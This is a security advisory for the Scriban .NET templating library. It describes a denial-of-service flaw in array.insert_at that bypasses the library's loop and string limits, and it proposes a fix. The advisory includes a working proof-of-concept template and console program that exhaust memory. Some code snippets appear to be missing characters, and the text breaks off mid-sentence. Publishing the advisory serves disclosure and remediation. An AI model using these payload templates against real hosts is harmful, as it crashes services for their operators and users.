GHSA-24c8-4792-22hx Scriban: array.insert_at index parameter DoS bypasses LoopLimit and LimitToString

• NuGet scriban: < 7.2.0 → fixed in 7.2.0 • NuGet Scriban.Signed: < 7.2.0 → fixed in 7.2.0

Summary `ArrayFunctions.InsertAt` in Scriban allocates `index - list.Count` null entries in a tight C# `for` loop with no bound on `index`. The function is exposed to template authors as `array.insert_at`, and the fill loop ignores every existing safety control: `LoopLimit`, `LimitToString`, `ObjectRecursionLimit`, and `RecursiveLimit`. A single template such as `{{ [1] | array.insert_at 200000000 'x' | array.size }}` causes `OutOfMemoryException` in well under a second on a host with 1 GB of memory, even when `LoopLimit` is set to `10` and `LimitToString` is set to `100`. Because `OutOfMemoryException` is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template. This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in `string * int`, `array.size`, `array.join`, `string.pad_left`, and `string.pad_right`. The 7.0.0 hardening pass (`dde661d` "Apply LoopLimit to internal iteration paths" and `4227fde` "Harden string padding width limits") swept the equivalent loops in `ArrayFunctions` and `StringFunctions` but missed `InsertAt`. Details Reproducible in 7.1.0 (latest tag) and on `master` at `c8094b0`. `src/Scriban/Functions/ArrayFunctions.cs:369-386`: ```csharp public static IEnumerable InsertAt(IEnumerable? list, int index, object? value) { if (index ` whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up. 3. `OutOfMemoryException` is the actual failure mode. Per Microsoft, `OutOfMemoryException` and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a `ScriptRuntimeException` because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare `OutOfMemoryException` propagates and crashes the AppDomain. The pattern that matches the existing fixes is to add a context-aware overload that validates `index` against `LoopLimit` (or `LimitToString` for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload `[ScriptMemberIgnore]`: ```csharp [ScriptMemberIgnore] public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ } public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value) { if (index 0 && index > context.LoopLimit) { throw new ScriptRuntimeException(span, $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`."); } return InsertAt(list, index, value); } ``` Same pattern as `ArrayFunctions.AddRange`, `Compact`, `Concat`, `Last`, `Limit`, etc., introduced by `dde661d`, and as `StringFunctions.PadLeft`/`PadRight` introduced by `4227fde`. PoC Standalone .NET 9 console app referencing `Scriban` 7.1.0 from NuGet. `poc.csproj`: ```xml Exe net9.0 ``` `Program.cs`: ```csharp using System; using System.Diagnostics; using Scriban; class Program { static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec) { Console.WriteLine($"\n=== {title} ==="); var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString }; var tpl = Template.Parse(template); var sw = Stopwatch.StartNew(); try { var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx)); if (!task.Wait(TimeSpan.FromSeconds(timeoutSec))) { Console.WriteLine($" TIMEOUT after {timeoutSec}s -- DoS confirmed"); return; } Console.WriteLine($" output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s"); } catch (AggregateException ex) { Console.WriteLine($" EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " + $"{ex.InnerException?.Message?.Split('\n')[0]}"); } } static void Main() { // Baseline: small index renders normally. Run("baseline", "{{ ([1] | array.insert_at 5 'x' | array.size) }}", loopLimit: 1000, limitToString: 1048576, timeoutSec: 5); // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect. Run("DoS via array.insert_at index=200_000_000", "{{ [1] | array.insert_at 200000000 'x' | array.size }}", loopLimit: 10, limitToString: 100, timeoutSec: 30); // Exploit: int.MaxValue. Run("DoS via array.insert_at index=int.MaxValue", "{{ [1] | array.insert_at 2147483647 'x' | array.size }}", loopLimit: 10, limitToString: 100, timeoutSec: 15); } } ``` Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical: ```bash docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \ dotnet run -c Release ``` Observed output: ``` === baseline === output=1 chars in 0.01s === DoS via array.insert_at index=200_000_000 === EXCEPTION (0.68s): ScriptRuntimeException: (1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown. === DoS via array.insert_at index=int.MaxValue === EXCEPTION (0.52s): ScriptRuntimeException: (1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown. ``` Two observations: • The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed. • Setting `LoopLimit = 10` and `LimitToString =…